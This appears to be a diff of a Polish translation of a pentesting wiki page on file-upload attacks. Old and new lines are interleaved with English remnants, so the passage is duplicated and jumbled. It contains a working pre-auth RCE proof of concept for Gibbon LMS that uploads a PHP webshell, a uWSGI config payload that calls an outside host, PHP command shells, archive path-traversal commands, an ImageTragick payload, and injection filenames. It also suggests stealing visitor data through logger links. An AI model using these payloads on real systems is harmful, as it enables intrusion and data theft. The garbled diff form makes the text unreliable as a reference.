- Inna technika na stworzenie payloadu, który **przetrwa zmianę rozmiaru obrazu**, używając funkcji PHP-GD `thumbnailImage`. Możesz też użyć **tEXt chunk** [**techniki zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Inne sztuczki do sprawdzenia
|
||||
### Other Tricks to check
|
||||
|
||||
- Znajdź podatność pozwalającą **zmienić nazwę** już przesłanego pliku (w celu zmiany extension).
|
||||
- Znajdź podatność **Local File Inclusion** aby uruchomić backdoor.
|
||||
- Znajdź podatność pozwalającą **rename** pliku już przesłanego (aby zmienić extension).
|
||||
- Znajdź **Local File Inclusion** podatność aby uruchomić backdoor.
|
||||
- **Możliwe ujawnienie informacji**:
|
||||
1. Wgraj **kilka razy** (i w tym **samym czasie**) ten **sam plik** o **tej samej nazwie**
|
||||
2. Wgraj plik z **nazwą** pliku lub **folderu**, który **już istnieje**
|
||||
3. Wgrywanie pliku o nazwie ".", ".." lub "..." . Na przykład, w Apache na **Windows**, jeśli aplikacja zapisuje przesłane pliki w "/www/uploads/" katalogu, nazwa pliku "." utworzy plik o nazwie "uploads" w katalogu "/www/".
|
||||
4. Wgraj plik, którego może być trudno się pozbyć, na przykład **"…:.jpg"** w **NTFS**. (Windows)
|
||||
5. Wgraj plik w **Windows** z **nieważelnymi znakami** takimi jak `|<>*?”` w jego nazwie. (Windows)
|
||||
6. Wgraj plik w **Windows** używając zarezerwowanych (zakazanych) nazw takich jak CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 oraz LPT9.
|
||||
- Spróbuj też przesłać **pliki wykonywalne** (.exe) lub **.html** (mniej podejrzane), które **wykona kod** po przypadkowym otwarciu przez ofiarę.
|
||||
1. Upload **kilka razy** (i w tym **samym czasie**) tego **samego pliku** o **tej samej nazwie**
|
||||
2. Załaduj plik o **nazwie** pliku lub folderu, który **już istnieje**
|
||||
3. Wgrywanie pliku o nazwie **"." , "..", or "…"**. Na przykład, w Apache na **Windows**, jeśli aplikacja zapisuje uploady w katalogu "/www/uploads/", nazwa pliku "." stworzy plik o nazwie
|
||||
uploads” w katalogu "/www/".
|
||||
4. Wgraj plik, który może być trudno usunąć, taki jak **"…:.jpg"** w **NTFS**. (Windows)
|
||||
5. Wgraj plik w **Windows** z **invalid characters** takimi jak `|<>*?”` w jego nazwie. (Windows)
|
||||
6. Wgraj plik w **Windows** używając **reserved** (**forbidden**) **names** takich jak CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9.
|
||||
- Spróbuj również **upload an executable** (.exe) lub **.html** (mniej podejrzane), który **wykona kod** gdy zostanie przypadkowo otwarty przez ofiarę.
|
||||
|
||||
### Specjalne sztuczki z rozszerzeniami
|
||||
### Special extension tricks
|
||||
|
||||
Jeśli próbujesz przesłać pliki na **PHP server**, [sprawdź trik z **.htaccess** aby wykonać kod](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Jeśli próbujesz przesłać pliki na **ASP server**, [sprawdź trik z **.config** aby wykonać kod](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
Jeżeli próbujesz uploadować pliki na **PHP server**, [zobacz sztuczkę z **.htaccess** aby wykonać kod](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Jeżeli próbujesz uploadować pliki na **ASP server**, [zobacz sztuczkę z **.config** aby wykonać kod](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
Pliki `.phar` są jak `.jar` dla Java, ale dla php, i mogą być **używane jak plik php** (wykonywane przez php lub include'owane w skrypcie...).
|
||||
Pliki `.phar` są jak `.jar` dla java, ale dla php, i mogą być **używane jak plik php** (wykonywane z php, lub includowane w skrypcie...)
|
||||
|
||||
Rozszerzenie `.inc` bywa czasem używane dla plików php, które są tylko importowane, więc możliwe, że ktoś zezwolił na **wykonywanie tego rozszerzenia**.
|
||||
Rozszerzenie `.inc` jest czasami używane dla php files, które są jedynie używane do **import plików**, więc, w pewnym momencie, ktoś mógł pozwolić na **wykonywanie tego extension**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Jeśli możesz przesłać plik XML na serwer Jetty, możesz uzyskać [RCE ponieważ **nowe \*.xml i \*.war są automatycznie przetwarzane**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Zatem, jak pokazano na poniższym obrazku, wgraj plik XML do `$JETTY_BASE/webapps/` i oczekuj shel'a!
|
||||
Jeśli możesz uploadować plik XML na Jetty server, możesz uzyskać [RCE ponieważ **nowe *.xml and *.war są automatycznie przetwarzane**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Jak wspomniano na poniższym obrazku, wyślij plik XML do `$JETTY_BASE/webapps/` i oczekuj shell'a!
|
||||
|
||||
.png>)
|
||||
|
||||
@ -136,9 +137,9 @@ Jeśli możesz przesłać plik XML na serwer Jetty, możesz uzyskać [RCE poniew
|
||||
|
||||
Dla szczegółowego omówienia tej podatności sprawdź oryginalne badanie: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Remote Command Execution (RCE) vulnerabilities mogą być wykorzystane na serwerach uWSGI, jeśli ktoś ma możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI korzystają ze specyficznej składni pozwalającej na "magic" zmienne, placeholdery i operatory. W szczególności operator '@', używany jako `@(filename)`, służy do dołączania zawartości pliku. Wśród różnych obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie potężny — pozwala czytać dane ze standardowego wyjścia procesu. Ta funkcja może być zmanipulowana do złośliwych celów, takich jak Remote Command Execution lub Arbitrary File Write/Read, gdy przetwarzany jest plik `.ini`.
|
||||
Remote Command Execution (RCE) podatności mogą być exploitowane na uWSGI servers jeśli atakujący ma możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI wykorzystują specyficzną składnię do włączania "magic" zmiennych, placeholderów i operatorów. W szczególności operator '@', używany jako `@(filename)`, jest zaprojektowany do includowania zawartości pliku. Wśród różnych wspieranych schem w uWSGI, schemat "exec" jest szczególnie potężny, pozwalając na czytanie danych z stdout procesu. Ta funkcja może być zmanipulowana dla złośliwych celów takich jak Remote Command Execution lub Arbitrary File Write/Read gdy plik konfiguracyjny `.ini` jest przetwarzany.
|
||||
|
||||
Rozważ następujący przykład złośliwego pliku `uwsgi.ini`, pokazujący różne schematy:
|
||||
Rozważ poniższy przykład szkodliwego pliku `uwsgi.ini`, ukazujący różne schematy:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
@ -156,14 +157,55 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
Wykonanie payload ma miejsce podczas parsowania pliku konfiguracyjnego. Aby konfiguracja została aktywowana i sparsowana, proces uWSGI musi zostać albo zrestartowany (potencjalnie po awarii lub w wyniku ataku Denial of Service) albo plik musi być ustawiony na auto-reload. Funkcja auto-reload, jeśli jest włączona, przeładowuje plik w określonych odstępach po wykryciu zmian.
|
||||
Wykonanie payload następuje podczas parsowania pliku konfiguracyjnego. Aby konfiguracja została aktywowana i sparsowana, proces uWSGI musi zostać albo zrestartowany (potencjalnie po crashu lub w wyniku Denial of Service attack) albo plik musi być ustawiony na auto-reload. Funkcja auto-reload, jeśli jest włączona, przeładowuje plik w określonych odstępach czasu po wykryciu zmian.
|
||||
|
||||
Kluczowe jest zrozumienie luźnej natury parsowania plików konfiguracyjnych uWSGI. Konkretnie, omawiany payload może być wstawiony do pliku binarnego (takiego jak obraz lub PDF), co dodatkowo rozszerza zakres potencjalnego wykorzystania.
|
||||
Konieczne jest zrozumienie luźnego sposobu parsowania plików konfiguracyjnych przez uWSGI. Konkretnie, omawiany payload można wstawić do pliku binarnego (np. obrazu lub PDF), co dodatkowo rozszerza zakres potencjalnego wykorzystania.
|
||||
|
||||
## **wget Przesyłanie plików/SSRF sztuczka**
|
||||
### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
|
||||
|
||||
W niektórych przypadkach możesz stwierdzić, że serwer używa **`wget`** do **pobierania plików** i możesz **wskazać** **URL**. W takich sytuacjach kod może sprawdzać, czy rozszerzenie pobieranych plików znajduje się na białej liście, aby upewnić się, że będą pobierane tylko dozwolone pliki. Jednakże, **tego sprawdzenia można obejść.**\
|
||||
Maksymalna długość **nazwa pliku** w **linux** to **255**, jednak **wget** obcina nazwy plików do **236** znaków. Możesz **pobrać plik o nazwie "A"\*232+".php"+".gif"**, ta nazwa pliku **obejdzie** **sprawdzenie** (ponieważ w tym przykładzie **".gif"** jest **dopuszczalnym** rozszerzeniem), ale `wget` **zmieni nazwę** pliku na **"A"\*232+".php"**.
|
||||
Nieautoryzowany endpoint w Gibbon LMS pozwala na arbitrary file write wewnątrz web root, prowadząc do pre-auth RCE przez upuszczenie pliku PHP. Wrażliwe wersje: do i włącznie 25.0.01.
|
||||
|
||||
- Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php`
|
||||
- Method: POST
|
||||
- Required params:
|
||||
- `img`: data-URI-like string: `[mime];[name],[base64]` (serwer ignoruje typ/nazwę, dekoduje zakodowaną w base64 część)
|
||||
- `path`: destination filename relative to Gibbon install dir (e.g., `poc.php` or `0xdf.php`)
|
||||
- `gibbonPersonID`: any non-empty value is accepted (e.g., `0000000001`)
|
||||
|
||||
Minimalny PoC do zapisania i ponownego odczytania pliku:
|
||||
```bash
|
||||
# Prepare test payload
|
||||
printf '0xdf was here!' | base64
|
||||
# => MHhkZiB3YXMgaGVyZSEK
|
||||
|
||||
# Write poc.php via unauth POST
|
||||
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
|
||||
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
|
||||
|
||||
# Verify write
|
||||
curl http://target/Gibbon-LMS/poc.php
|
||||
```
|
||||
Wgraj minimalny webshell i wykonaj polecenia:
|
||||
```bash
|
||||
# '<?php system($_GET["cmd"]); ?>' base64
|
||||
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
|
||||
|
||||
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
|
||||
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
|
||||
|
||||
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
|
||||
```
|
||||
Notatki:
|
||||
- Handler wykonuje `base64_decode($_POST["img"])` po podzieleniu po `;` i `,`, a następnie zapisuje bajty do `$absolutePath . '/' . $_POST['path']` bez walidacji rozszerzenia/typu.
|
||||
- W rezultacie kod uruchamia się jako użytkownik serwera WWW (np. XAMPP Apache on Windows).
|
||||
|
||||
Odnośniki do tego buga obejmują advisory usd HeroLab oraz wpis w NVD. Zobacz sekcję References poniżej.
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
W niektórych przypadkach możesz natrafić na serwer, który używa **`wget`** do **pobierania plików** i możesz **wskazać** **URL**. W takich przypadkach kod może sprawdzać, czy rozszerzenie pobieranego pliku znajduje się na whitelist, aby upewnić się, że będą pobierane tylko dozwolone pliki. Jednakże, **tę kontrolę można obejść.**\
|
||||
|
||||
The **maksymalna** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **pobrać plik o nazwie "A"*232+".php"+".gif"**, ta nazwa pliku **obejdzie** the **check** (jak w tym przykładzie **".gif"** jest **valid** rozszerzeniem) ale `wget` **zmieni nazwę** pliku na **"A"*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -186,33 +228,33 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
|
||||
Zwróć uwagę, że **inną opcją**, o której możesz myśleć, aby obejść tę kontrolę, jest sprawienie, żeby HTTP server przekierował do innego pliku, więc początkowy URL ominie sprawdzenie, a następnie wget pobierze przekierowany plik pod nową nazwą. To **nie zadziała** **chyba że** wget jest użyty z **parametrem** `--trust-server-names`, ponieważ **wget pobierze przekierowaną stronę pod nazwą pliku wskazaną w oryginalnym URL**.
|
||||
|
||||
## Narzędzia
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) to potężne narzędzie zaprojektowane, aby wspierać Pentesters i Bug Hunters w testowaniu mechanizmów przesyłania plików. Wykorzystuje różne techniki bug bounty, aby uprościć proces identyfikacji i eksploatacji podatności, zapewniając dokładne oceny aplikacji webowych.
|
||||
|
||||
### Corrupting upload indices with snprintf quirks (historical)
|
||||
|
||||
Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases.
|
||||
Niektóre przestarzałe handlery przesyłania plików, które używają `snprintf()` lub podobnych do budowania tablic multi-file z pojedynczego uploadu pliku, mogą zostać oszukane do sfałszowania struktury `_FILES`. Z powodu niekonsekwencji i obcinania w zachowaniu `snprintf()`, starannie spreparowany pojedynczy upload może wyglądać po stronie serwera jak wiele plików z indeksami, wprowadzając w błąd logikę zakładającą sztywną strukturę (np. traktując ją jako upload wielu plików i wybierając niebezpieczne gałęzie). Choć dziś niszowy, wzorzec “index corruption” czasem pojawia się ponownie w CTFs i starszych bazach kodu.
|
||||
|
||||
## From File upload to other vulnerabilities
|
||||
|
||||
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
|
||||
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
|
||||
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
|
||||
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
|
||||
- Ustaw **filename** na `../../../tmp/lol.png` i spróbuj osiągnąć **path traversal**
|
||||
- Ustaw **filename** na `sleep(10)-- -.jpg` i możesz być w stanie osiągnąć **SQL injection**
|
||||
- Ustaw **filename** na `<svg onload=alert(document.domain)>` aby wywołać **XSS**
|
||||
- Ustaw **filename** na `; sleep 10;` aby przetestować pewne command injection (more [command injections tricks here](../command-injection.md))
|
||||
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
|
||||
- Jeśli możesz wskazać web server, aby pobrał obraz z URL, możesz spróbować nadużyć [SSRF](../ssrf-server-side-request-forgery/index.html). Jeśli ten **image** zostanie **saved** w jakimś **public** serwisie, możesz też wskazać URL z [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **steal information of every visitor**.
|
||||
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
|
||||
- Specjalnie spreparowane PDFy do XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Jeśli możesz uploadować PDFy, możesz przygotować jakiś PDF, który wykona arbitralny JS zgodnie z podanymi wskazówkami.
|
||||
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
|
||||
- Check if there is any **size limit** uploading files
|
||||
- Sprawdź, czy istnieje jakieś **size limit** przy wysyłaniu plików
|
||||
|
||||
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
@ -239,32 +281,32 @@ https://github.com/portswigger/upload-scanner
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
|
||||
- **JPG**: `"\xff\xd8\xff"`
|
||||
|
||||
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
|
||||
Zobacz [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) dla innych typów plików.
|
||||
|
||||
## Zip/Tar File Automatically decompressed Upload
|
||||
|
||||
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
|
||||
Jeśli możesz przesłać ZIP, który zostanie zdekompresowany na serwerze, możesz zrobić dwie rzeczy:
|
||||
|
||||
### Symlink
|
||||
|
||||
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
|
||||
Prześlij archiwum zawierające linki symboliczne do innych plików, wtedy po dostępie do zdekompresowanych plików uzyskasz dostęp do plików wskazywanych przez te linki:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Rozpakowywanie do różnych folderów
|
||||
### Dekompresja do różnych folderów
|
||||
|
||||
Niespodziewane tworzenie plików w katalogach podczas dekompresji stanowi poważny problem. Pomimo początkowych założeń, że taka konfiguracja może chronić przed OS-level command execution poprzez złośliwe file uploads, hierarchical compression support i możliwości directory traversal formatu archiwum ZIP mogą zostać wykorzystane. Pozwala to atakującym obejść ograniczenia i uciec z secure upload directories, manipulując funkcją dekompresji aplikacji docelowej.
|
||||
Nieoczekiwane tworzenie plików w katalogach podczas dekompresji jest poważnym problemem. Mimo początkowych założeń, że taka konfiguracja może chronić przed OS-level command execution poprzez złośliwe przesyłanie plików, wsparcie dla hierarchicznej kompresji i directory traversal capabilities of the ZIP archive format mogą zostać wykorzystane. To pozwala atakującym obejść ograniczenia i wydostać się z secure upload directories, manipulując funkcjonalnością dekompresji atakowanej aplikacji.
|
||||
|
||||
An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Narzędzie można użyć w następujący sposób:
|
||||
Zautomatyzowany exploit do tworzenia takich plików jest dostępny na [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Narzędzie można użyć w następujący sposób:
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
Dodatkowo, **symlink trick with evilarc** jest opcją. Jeśli celem jest zaatakowanie pliku takiego jak `/flag.txt`, należy utworzyć symlink do tego pliku w swoim systemie. To zapewnia, że evilarc nie napotka błędów podczas działania.
|
||||
Ponadto opcją jest **symlink trick with evilarc**. Jeśli celem jest zaatakowanie pliku takiego jak `/flag.txt`, należy utworzyć w systemie symlink do tego pliku. Zapewni to, że evilarc nie napotka błędów podczas działania.
|
||||
|
||||
Poniżej znajduje się przykład kodu Python używanego do utworzenia złośliwego pliku zip:
|
||||
```python
|
||||
@ -272,6 +314,7 @@ Poniżej znajduje się przykład kodu Python używanego do utworzenia złośliwe
|
||||
import zipfile
|
||||
from io import BytesIO
|
||||
|
||||
|
||||
def create_zip():
|
||||
f = BytesIO()
|
||||
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
|
||||
@ -284,11 +327,11 @@ zip.close()
|
||||
|
||||
create_zip()
|
||||
```
|
||||
**Nadużywanie kompresji do file sprayingu**
|
||||
**Wykorzystywanie kompresji do file spraying**
|
||||
|
||||
Szczegóły: **zobacz oryginalny wpis na**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
For further details **check the original post in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Creating a PHP Shell**: Kod PHP jest napisany tak, aby wykonywać polecenia przekazane przez zmienną `$_REQUEST`.
|
||||
1. **Tworzenie PHP Shell**: Kod PHP zostaje napisany tak, aby wykonywał polecenia przekazane przez zmienną `$_REQUEST`.
|
||||
|
||||
```php
|
||||
<?php
|
||||
@ -298,24 +341,24 @@ system($cmd);
|
||||
}?>
|
||||
```
|
||||
|
||||
2. **File Spraying and Compressed File Creation**: Tworzy się wiele plików, a następnie składany jest plik zip zawierający te pliki.
|
||||
2. **File Spraying i tworzenie skompresowanego pliku**: Tworzonych jest wiele plików, a następnie składany jest archiwum zip zawierające te pliki.
|
||||
|
||||
```bash
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **Modification with a Hex Editor or vi**: Nazwy plików wewnątrz zipa są zmieniane za pomocą vi lub edytora heksadecymalnego, zamieniając "xxA" na "../" w celu przejścia do katalogów wyżej.
|
||||
3. **Modyfikacja przy użyciu edytora heksadecymalnego lub vi**: Nazwy plików wewnątrz zip są zmieniane przy użyciu vi lub edytora heksadecymalnego, zamieniając "xxA" na "../" w celu przejścia do katalogów nadrzędnych.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
:%s/xxA/..\//g
|
||||
:%s/xxA/../g
|
||||
:x!
|
||||
```
|
||||
|
||||
## ImageTragic
|
||||
|
||||
Prześlij tę zawartość z rozszerzeniem obrazu, aby wykorzystać podatność **(ImageMagick , 7.0.1-1)** (z [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
Prześlij tę zawartość z rozszerzeniem obrazu, aby wykorzystać podatność **(ImageMagick , 7.0.1-1)** (od [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
@ -324,31 +367,31 @@ pop graphic-context
|
||||
```
|
||||
## Osadzanie PHP Shell w PNG
|
||||
|
||||
Osadzenie PHP shell w sekcji IDAT pliku PNG może skutecznie ominąć niektóre operacje przetwarzania obrazów. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane do zmiany rozmiaru i resamplingu obrazów. Zdolność osadzonego PHP shell do pozostania nienaruszonym przez te operacje stanowi znaczącą zaletę w pewnych przypadkach użycia.
|
||||
Osadzenie PHP shell w chunku IDAT pliku PNG może skutecznie obejść niektóre operacje przetwarzania obrazów. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane odpowiednio do zmiany rozmiaru i resamplingu obrazów. Możliwość, że osadzony PHP shell pozostanie nienaruszony przez te operacje, stanowi znaczącą zaletę w określonych przypadkach użycia.
|
||||
|
||||
Szczegółowe omówienie tej techniki, wraz z metodologią i potencjalnymi zastosowaniami, znajduje się w następującym artykule: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ten materiał zapewnia kompleksowe zrozumienie procesu i jego implikacji.
|
||||
Szczegółowe omówienie tej techniki, łącznie z metodologią i potencjalnymi zastosowaniami, znajduje się w następującym artykule: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ten zasób oferuje kompleksowe zrozumienie procesu i jego implikacji.
|
||||
|
||||
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
Więcej informacji: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## Pliki polyglot
|
||||
|
||||
Pliki polyglot pełnią unikalną rolę w cyberbezpieczeństwie, działając jak kameleony, które mogą poprawnie istnieć w wielu formatach plików jednocześnie. Interesującym przykładem jest [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybryda działająca zarówno jako GIF, jak i archiwum RAR. Takie pliki nie ograniczają się do tej pary; możliwe są także kombinacje typu GIF i JS lub PPT i JS.
|
||||
Pliki polyglot działają jak kameleony w cybersecurity, mogąc poprawnie istnieć w wielu formatach plików jednocześnie. Interesującym przykładem jest [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybryda funkcjonująca zarówno jako GIF, jak i archiwum RAR. Takie pliki nie ograniczają się do tej pary; możliwe są też kombinacje typu GIF i JS czy PPT i JS.
|
||||
|
||||
Główną przydatnością plików polyglot jest ich zdolność do obchodzenia zabezpieczeń, które filtrują pliki na podstawie typu. Powszechną praktyką w różnych aplikacjach jest zezwalanie jedynie na określone typy plików do uploadu — jak JPEG, GIF czy DOC — aby zmniejszyć ryzyko związane z potencjalnie niebezpiecznymi formatami (np. JS, PHP czy Phar). Jednak polyglot, spełniając strukturalne kryteria kilku formatów jednocześnie, może podstępnie ominąć te ograniczenia.
|
||||
Główna użyteczność plików polyglot polega na ich zdolności do obejścia zabezpieczeń, które filtrują pliki na podstawie typu. Powszechną praktyką w wielu aplikacjach jest zezwalanie tylko na określone typy plików przy uploadzie — np. JPEG, GIF czy DOC — aby zredukować ryzyko wynikające z potencjalnie niebezpiecznych formatów (np. JS, PHP czy Phar). Jednak polyglot, spełniając strukturalne kryteria wielu formatów, może dyskretnie obejść te ograniczenia.
|
||||
|
||||
Pomimo swojej elastyczności, polygloty napotykają ograniczenia. Na przykład, choć polyglot może jednocześnie pełnić funkcję pliku PHAR (PHp ARchive) i JPEG, powodzenie jego uploadu może zależeć od polityki platformy dotyczącej rozszerzeń plików. Jeśli system jest rygorystyczny w kwestii dozwolonych rozszerzeń, sama strukturalna dwoistość polyglota może nie wystarczyć, by zapewnić jego przesłanie.
|
||||
Mimo swojej elastyczności, polygloty napotykają ograniczenia. Na przykład, choć polyglot może jednocześnie zawierać plik PHAR (PHp ARchive) i JPEG, powodzenie jego uploadu może zależeć od polityki dotyczącej rozszerzeń plików na danej platformie. Jeśli system jest rygorystyczny co do dozwolonych rozszerzeń, sama strukturalna dwoistość polyglota może nie wystarczyć do zatwierdzenia uploadu.
|
||||
|
||||
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
Więcej informacji: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
### Wgrywanie poprawnych JSON-ów tak, jakby to był PDF
|
||||
### Upload valid JSONs like if it was PDF
|
||||
|
||||
Jak uniknąć wykrywania typu pliku przez wgranie poprawnego pliku JSON, nawet gdy nie jest to dozwolone, podszywając się pod plik PDF (techniki z **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
